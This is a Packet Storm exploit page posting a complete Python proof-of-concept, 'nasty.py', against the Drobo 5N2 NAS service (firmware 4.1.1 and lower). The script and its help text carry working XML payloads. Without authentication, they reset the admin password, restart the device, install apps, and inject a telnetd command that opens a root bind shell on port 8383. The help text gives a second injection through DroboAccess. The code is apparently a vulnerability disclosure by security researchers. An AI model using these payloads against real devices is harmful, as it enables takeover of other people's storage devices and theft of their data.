exploit the possibilities

Drobo 5N2 4.1.1 Remote Command Injection

Drobo 5N2 4.1.1 Remote Command Injection
Posted Mar 13, 2020
Authored by Rick Ramgattie, Ian Sindermann

Drobo 5N2 version 4.1.1 suffers from a remote command injection vulnerability.

tags | exploit, remote
advisories | CVE-2018-14709, CVE-2018-14701
SHA-256 | 8aba9a37d2f1501d6085634fb684ee6ab0cbacd6f6b400fa3265592fef589c8c

Drobo 5N2 4.1.1 Remote Command Injection

Change Mirror Download
# Exploit Title: Drobo 5N2 4.1.1 - Remote Command Injection
# Date: 2020-03-12
# Exploit Author: Rick Ramgattie, Ian Sindermann
# Vendor Homepage: https://www.drobo.com/
# Version: 4.1.1 and lower.
# CVE: CVE-2018-14709, CVE-2018-14701
###

#!/usr/bin/env python3

# nasty.py - A proof-of-concept utility for (maliciously) interacting with the Drobo NASd service.
# This utility leverages the lack of any real authentication mechanism to perform arbitrary actions.
# These actions include:
# - Getting device status.
# - Installing applications.
# - Resetting admin credentials.
# - Popping root shells.
# - Turning on party mode.
# This set of exploits is known to affect the Drobo 5N2, firmware version 4.1.1 and lower.
# As of 2020-03-12, newer firmware versions appear to be vulnerable as well, but this has not been verified.
# Most of the Drobo product line also appears to be vulnerable. Again, this has not been verified.
# These vulnerabilities were disclosed to the manufacturer on 2018-07-10.
# More vulnerabilities for this device may be found here: https://blog.securityevaluators.com/4f1d885df7fc
###
# Product of ISE Labs.
# - http://www.securityevaluators.com/
# - @ISESecurity
###


# RE Notes:
# ,-- Encryption bool?
# Handshake Preamble: * /\
# 44 52 49 4e 45 54 54 4d 07 01 00 00 00 00 00 88
# \_____________________/ \_________/ \_________/
# Static string. To/from Size of
# "DIRNETTM" server? next message
#
# Handshake
# 64 72 61 31 37 33 32 30 32 33 30 30 30 31 30 00 00 00 00 00 64 72 61 31 37 33 32 30 32 33 30 30 30 31 30 00 00 00 00 00 00 00...
# \______________________________________________/ \_________/ \_______________________________________________/ \_________________-->
# Device serial number with NULL padding. NULL Device serial number with NULL padding. ESAID? 88 bytes of NULL
# "dra173202300010" "dra173202300010"
#
# The stat port returns an "ESAID" value that is identical to the serial number on this device (5N2).
# One of the serial numbers in this packet may actually be the ESAID.
#
# Preamble: *
# 44 52 49 4e 45 54 54 4d 0a 01 00 00 00 00 00 88
# \_____________________/ \_________/ \_________/
# Static string. To/from Size of
# "DIRNETTM" server? next message
#
# Message:
# XX XX XX XX XX XX XX XX 00
# \_____________________/ \/
# Arbitrary length string NULL terminator
#
#
# Protocol flow:
# Initial handshake: ,----- 2nd nibble in 3rd section is different. "07 01 00 00" instead of "0a 01 00 00" #TODO: why?
# | c -> s: Preamble. <-' \_
# | c -> s: Message: Handshake / `- These two are normally sent as one packet.
# v c <- s: Preamble. <-------- 2nd nibble in 3rd section is different. "87 01 00 00" instead of "8a 01 00 00" #TODO: why?
# Loop:
# +> c -> s: Preamble.
# | c -> s: Message: Command.
# | c <- s: Preamble.
# +- c <- s: Message: Results. > Large responses are split into chunks. Must use size from preamble.


import argparse
import logging
import re
import socket
import struct
import sys


LOG_FORMAT = '[%(levelname)s]: %(message)s'
BUFFER_SIZE = 1024
HANDSHAKE_PREAMBLE = b'\x44\x52\x49\x4e\x45\x54\x54\x4d\x07\x01\x00\x00'
PREAMBLE = b'\x44\x52\x49\x4e\x45\x54\x54\x4d\x0a\x01\x00\x00'
PREAMBLE_LEN = 16

# Note: Payloads usually contain the device's serial number. Replace this with
# '{serial}' so `send_msg` can insert the target's serial.
PAYLOADS = {
"daccess" :'<TMCmd><CmdID>78</CmdID><Params><Name>DroboAccess</Name><Action>Install</Action><Data>ftp://updates.drobo.com/droboapps/2.1/downloads/DroboAccess.tgz</Data></Params><ESAID>{serial}</ESAID></TMCmd>',
"dropbear":'<TMCmd><CmdID>78</CmdID><Params><Name>dropbear</Name><Action>Install</Action><Data>ftp://updates.drobo.com/droboapps/2.1/downloads/dropbear.tgz</Data></Params><ESAID>{serial}</ESAID></TMCmd>',
"getadmin":'<TMCmd><CmdID>30</CmdID><Params><DRINasAdminConfig>DRINasAdminConfig</DRINasAdminConfig><DRINasDroboAppsConfig>DRINasDroboAppsConfig</DRINasDroboAppsConfig></Params><ESAID>{serial}</ESAID></TMCmd>',
"getnet" :'<TMCmd><CmdID>30</CmdID><ESAID>{serial}</ESAID><Params><Network>Network</Network></Params></TMCmd>',
"gettemp" :'<TMCmd><CmdID>61</CmdID><ESAID>{serial}</ESAID></TMCmd>',
"partyon" :'<TMCmd><CmdID>26</CmdID><Params><IdentifyInterval>900</IdentifyInterval></Params><ESAID>{serial}</ESAID></TMCmd>',
"partyoff":'<TMCmd><CmdID>26</CmdID><Params><IdentifyInterval>0</IdentifyInterval></Params><ESAID>{serial}</ESAID></TMCmd>',
"popit" :'<TMCmd><CmdID>78</CmdID><Params><Name>Drobo`telnetd -l $SHELL -p 8383`Access</Name><Action>Install</Action><Data>bork</Data></Params><ESAID>{serial}</ESAID></TMCmd>',
"restart" :'<TMCmd><CmdID>21</CmdID><ESAID>{serial}</ESAID></TMCmd>',
"setadmin":'<TMCmd><CmdID>31</CmdID><Params><DRINASConfig><DRINasAdminConfig><UserName>admin</UserName><Password>ono</Password><ValidPassword>1</ValidPassword><EncryptedPassword>0</EncryptedPassword></DRINasAdminConfig><DRINasDroboAppsConfig><Version>11</Version><Enabled>1</Enabled></DRINasDroboAppsConfig></DRINASConfig></Params><ESAID>{serial}</ESAID></TMCmd>',
"test" :'<TMCmd><CmdID>82</CmdID><Params><Time>1521161215</Time><GMTOffset>4294966876</GMTOffset></Params><ESAID>{serial}</ESAID></TMCmd>',
"stdin" :'Handled elsewhere.'}

DEFAULT_PORT_STAT = 5000
DEFAULT_PORT_CMD = 5001
DEFAULT_TIMEOUT = None
HELP_EPILOG='''
PAYLOADS
daccess - Installs DroboAccess on the target device. At the time of writing,
DroboAccess has numerous unauthenticated command injection
vulnerabilities. Try the following:
GET /DroboAccess/delete_user?username=test';/usr/sbin/telnetd -l /bin/sh -p 8383
- A long delay and response of "<Error>0</Error>" is expected.
dropbear - Installs dropbear on the target device.
- A response of "<Error>0</Error>" is expected.
getadmin - Returns the target's current (redacted) admin configuration.
gettemp - Returns the target's system info (temperature and uptime).
getnet - Returns the target's network info.
partyon - Enables "party mode" on the target. This will cause the target
device's lights to blink for 15 minutes.
partyoff - Prematurely disables "party mode".
popit - Exploits CVE-2019-6801 to spawn a root bind shell on port 8383.
- A response of "<Error>1</Error>" is expected.
restart - Restarts the target device.
setadmin - Sets administrative options on the target.
- Username: admin
- Password: ono
- Apps enabled: yes
stdin - Reads data from STDIN and sends it as a command.
'''


def recv_message(s):
preamble = s.recv(PREAMBLE_LEN)
msg_len = struct.unpack(">I", preamble[-4:])[0] # Parse expected message length from preamble.
message = ''
if msg_len <= 0:
return(message)
while True:
message += s.recv(BUFFER_SIZE).decode('utf-8')
if len(message) >= msg_len:
return(message) # There will be a null at the end. It should be fine.


def send_handshake(s, serial):
serial_bytes = serial.encode('utf-8')
hs_body = struct.pack("16s", serial_bytes) # 16 byte padded string containing device serial number.
hs_body += struct.pack(">I", 0) # 4 byte field, presumably uint, only seen as zero.
hs_body += struct.pack("16s", serial_bytes) # 16 byte padded string containing device serial number. again...
hs_body += struct.pack("184x") # 184 bytes of NULL padding.
size_bytes = struct.pack(">I", len(hs_body)) # Size of message body. Send with preamble.
hs_data = HANDSHAKE_PREAMBLE + size_bytes + hs_body
logging.debug(repr(hs_data))
s.send(hs_data)


def send_message(s, serial, message):
msg_body = message.format(serial=serial) # Add target device's serial number.
msg_body_bytes = msg_body.encode('utf-8')
msg_body_bytes += struct.pack("x") # NULL terminator.
size_bytes = struct.pack(">I", len(msg_body_bytes)) # Size of XML body. Send with preamble.
msg_data = PREAMBLE + size_bytes + msg_body_bytes
logging.debug(repr(msg_data))
s.send(msg_data)


aparser = argparse.ArgumentParser(
description='nasty.py - A proof-of-concept utility for (maliciously) interacting with the Drobo NASd service.',
epilog=HELP_EPILOG,
formatter_class=argparse.RawDescriptionHelpFormatter)
aparser.add_argument("host", help='Host or IP address of the target Drobo.')
aparser.add_argument("payload", help='Payload to use. See PAYLOADS.')
aparser.add_argument("-p", "--portstat", help='Specify a non-default stat port on the Drobo.', default=DEFAULT_PORT_STAT, type=int)
aparser.add_argument("-P", "--portcmd", help='Specify a non-default command port on the Drobo.', default=DEFAULT_PORT_CMD, type=int)
aparser.add_argument("-s", "--serial", help='Manually set the target serial number. Skips serial number detection.')
aparser.add_argument("-t", "--timeout", help='Set a timeout in seconds for socket operations.', default=DEFAULT_TIMEOUT, type=float)
aparser.add_argument("-v", "--verbose", help='Increase verbosity.', action='store_true')
args = aparser.parse_args()

# Basic check for color support.
if sys.stdout.isatty() and sys.platform in ["linux","linux2","darwin"]:
logging.addLevelName(logging.NOTSET, "\033[39m????\033[0m")
logging.addLevelName(logging.DEBUG, "\033[37mDBUG\033[0m")
logging.addLevelName(logging.INFO, "\033[96mINFO\033[0m")
logging.addLevelName(logging.WARNING, "\033[93mWARN\033[0m")
logging.addLevelName(logging.ERROR, "\033[95mERRR\033[0m")
logging.addLevelName(logging.CRITICAL, "\033[91mCRIT\033[0m")
else:
logging.addLevelName(logging.NOTSET, "????")
logging.addLevelName(logging.DEBUG, "DBUG")
logging.addLevelName(logging.INFO, "INFO")
logging.addLevelName(logging.WARNING, "WARN")
logging.addLevelName(logging.ERROR, "ERRR")
logging.addLevelName(logging.CRITICAL, "CRIT")

if args.verbose:
logging.basicConfig(format=LOG_FORMAT, level=logging.DEBUG)
else:
logging.basicConfig(format=LOG_FORMAT, level=logging.INFO)

if args.payload == 'stdin':
logging.info("Reading payload from STDIN.")
payload_xml = sys.stdin.read()
logging.debug(payload_xml)
else:
payload_xml = PAYLOADS[args.payload]


logging.info("Connecting...")
# Connect to the stat port. This is required for the cmd port to work.
# The stat port also gives us the serial number.
sock_stat = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_stat.settimeout(args.timeout)
sock_stat.connect((args.host, args.portstat))
# Connect to the cmd port.
sock_cmd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_cmd.settimeout(args.timeout)
sock_cmd.connect((args.host, args.portcmd))

# Pull the serial number from the stat port.
logging.info("Pulling serial number...")
stat_msg = sock_stat.recv(BUFFER_SIZE)
if args.serial:
serial = args.serial
else:
m = re.search('<mSerial>([^<]+)</mSerial>', stat_msg.decode('utf-8'))
if not m:
logging.critical("Could not determine target's serial number!")
logging.debug(stat_msg)
sys.exit(100)
serial = m.group(1)
logging.info("Identified serial: " + serial)

# Perform a handshake with the cmd port. Requires the serial num.
logging.info('Performing handshake...')
send_handshake(sock_cmd, serial)
recv_message(sock_cmd) # Blank response - trash.

# Send the payload.
logging.info("Sending payload...")
send_message(sock_cmd, serial, payload_xml)
logging.info("Waiting for response...")
resp = recv_message(sock_cmd)
logging.info("Response:\n" + resp)

# Cleanup.
sock_cmd.close()
sock_stat.close()
logging.info("Donezo.")
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close